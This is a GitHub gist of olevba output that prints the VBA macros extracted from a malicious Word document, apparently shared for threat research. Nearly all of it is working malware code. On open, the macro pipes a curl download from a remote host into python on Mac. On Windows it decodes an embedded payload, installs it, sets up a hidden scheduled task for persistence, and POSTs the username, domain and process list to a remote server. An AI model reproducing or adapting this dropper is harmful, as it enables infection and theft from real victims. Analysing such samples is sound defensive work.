Skip to content

Instantly share code, notes, and snippets.

@JohnLaTwC
Created October 1, 2020 02:34
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnLaTwC/c8414282ce49acc88c1ac39f5fab8e78 to your computer and use it in GitHub Desktop.
Save JohnLaTwC/c8414282ce49acc88c1ac39f5fab8e78 to your computer and use it in GitHub Desktop.
olevba 0.55.1 on Python 3.8.3 - http://decalage.info/python/oletools
===============================================================================
FILE: a16ac529b34aab3eb7e262b830d73aa78aa967ad4a8810349040cdbbe2e885b5
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#If Mac Then
Private Sub Document_Open()
On Error Resume Next
MacScript "do shell script ""(curl -s " & Read("M") & "?token=" & Read("ID") & "'&'dm | nohup python &>/dev/null &)"""
ActiveDocument.Bookmarks("Page1").Range.Font.Hidden = False
End Sub
#Else
Const TypeBinary = 1, ForReading = 1, ForWriting = 2, ForAppending = 8
Private Sub Document_Open()
On Error Resume Next
Dim wSh, wPE, sArch, pArch
Set wSh = CreateObject("WScript.Shell")
Set wPE = wSh.Environment("Process")
pArch = wPE("PROCESSOR_ARCHITECTURE")
If pArch = "x86" Then
sArch = wPE("PROCESSOR_ARCHITEW6432")
If sArch = "" Then
sArch = "x86"
End If
Else
sArch = pArch
End If
Dim var64, var86, outFile1, outFile2, decoded, Gedvv2, newFolder, random_num
Dim dir1, dir2, com, serv, rFol, tDef, rInfo, settings, tgs, tg, sTime, time, rPat, act
Dim d As String
d = Read("Hyperlink Base")
Dim da() As String
da = Split(d, "|", 2)
var64 = da(0)
var86 = da(1)
Randomize
random_num = Int((25678 - (23 - 1)) * Rnd()) + 23
newFolder = Trim(Str(random_num))
dir1 = Environ("APPDATA") & Read("OD")
dir2 = Environ("APPDATA") & Read("OD") & "\{" & newFolder & "}"
If Len(Dir(dir1, vbDirectory)) = 0 Then
MkDir dir1
End If
If Len(Dir(dir2, vbDirectory)) = 0 Then
MkDir dir2
End If
ChDrive (dir2)
ChDir (dir2)
outFile1 = dir2 & "\" & Read("OF") & ".zip"
outFile2 = dir2 & "\" & Read("OF") & ".pkg"
If sArch = "AMD64" Then
decoded = DH(var64)
WB outFile1, decoded
UZ dir2, outFile1
com = Read("IU6") & " " & outFile2
Else
decoded = DH(var86)
WB outFile1, decoded
UZ dir2, outFile1
com = Read("IU3") & " " & outFile2
End If
Set serv = CreateObject("Schedule.Service")
Call serv.Connect
Set rFol = serv.GetFolder("\")
Set tDef = serv.NewTask(0)
Set rInfo = tDef.RegistrationInfo
rInfo.Description = Read("TN")
Set settings = tDef.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = True
settings.DisallowStartIfOnBatteries = False
Set tgs = tDef.triggers
Set tg = tgs.Create(1)
time = DateAdd("s", 60, Now)
sTime = XmlTime(time)
tg.StartBoundary = sTime
tg.ID = "UpdateTrigger"
tg.Enabled = True
Set rPat = tg.Repetition
rPat.Duration = "P3D"
rPat.Interval = "P1D"
Set act = tDef.Actions.Create(0)
If sArch = "AMD64" Then
act.Path = Read("AP6")
act.Arguments = com
Else
act.Path = Read("AP3")
act.Arguments = com
End If
If Len(Dir(act.Path)) = 0 Then
act.Path = Replace(act.Path, "2.0.50727", "4.0.30319")
End If
Call rFol.RegisterTaskDefinition(Read("TN"), tDef, 6, , , 3)
Dim objHTTP, res
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
objHTTP.Open "POST", Read("M"), False
objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
Dim ba() As Byte
ba = StrConv(Gather(), vbFromUnicode)
objHTTP.send ("&token=" & Read("ID") & "&session=" & EH(ba))
res = objHTTP.responseText
Set objHTTP = Nothing
Set res = Nothing
ActiveDocument.Bookmarks("Page1").Range.Font.Hidden = False
End Sub
Function Gather() As String
On Error Resume Next
Dim computer As String
computer = "."
Dim objWMIService, colProcessList As Object
Set objWMIService = GetObject("winmgmts:\\" & computer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("SELECT * FROM Win32_Process")
Dim result As String
result = Environ("ComputerName") & vbNewLine & Environ("UserDomain") & "\" & Environ("Username") & vbNewLine
Dim objProcess As Object
For Each objProcess In colProcessList
If Len(objProcess.ExecutablePath) > 0 Then
result = result & objProcess.ExecutablePath & vbNewLine
ElseIf Len(objProcess.name) > 0 Then
result = result & objProcess.name & vbNewLine
End If
Next
Gather = result
End Function
Function XmlTime(t)
Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
Dim tTime, tDate
cSecond = "0" & Second(t)
cMinute = "0" & Minute(t)
CHour = "0" & Hour(t)
cDay = "0" & Day(t)
cMonth = "0" & Month(t)
cYear = Year(t)
tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & _
":" & Right(cSecond, 2)
tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
XmlTime = tDate & "T" & tTime
End Function
Private Sub Document_Close()
On Error Resume Next
ActiveDocument.Bookmarks("Page1").Range.Font.Hidden = True
Documents.Save NoPrompt:=True
End Sub
Sub UZ(strTargetPath, Fname)
On Error Resume Next
Dim oApp As Object
Dim FileNameFolder As Variant
If Right(strTargetPath, 1) <> Application.PathSeparator Then
strTargetPath = strTargetPath & Application.PathSeparator
End If
FileNameFolder = strTargetPath
Set oApp = CreateObject("Shell.Application")
oApp.Namespace(FileNameFolder).CopyHere oApp.Namespace(Fname).items
End Sub
Private Function DH(hex)
On Error Resume Next
Dim DM, EL
Set DM = CreateObject("Microsoft.XMLDOM")
Set EL = DM.createElement("tmp")
EL.dataType = "bin.hex"
EL.Text = hex
DH = EL.nodeTypedValue
End Function
Private Function EH(bytes)
On Error Resume Next
Dim DM, EL
Set DM = CreateObject("Microsoft.XMLDOM")
Set EL = DM.createElement("tmp")
EL.dataType = "bin.hex"
EL.nodeTypedValue = bytes
EH = EL.Text
End Function
Private Sub WB(file, bytes)
On Error Resume Next
Dim binaryStream
Set binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = TypeBinary
binaryStream.Open
binaryStream.Write bytes
binaryStream.SaveToFile file, ForWriting
End Sub
#End If
Function Read(sPropName As String) As Variant
Dim bCustom As Boolean
Dim sValue As String
On Error GoTo ErrHandlerRead
sValue = ActiveDocument.BuiltInDocumentProperties(sPropName).Value
Read = sValue
Exit Function
ContinueCustom:
bCustom = True
Custom:
sValue = ActiveDocument.CustomDocumentProperties(sPropName).Value
Read = sValue
Exit Function
ErrHandlerRead:
Err.Clear
If Not bCustom Then
Resume ContinueCustom
Else
Read = ""
Exit Function
End If
End Function
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment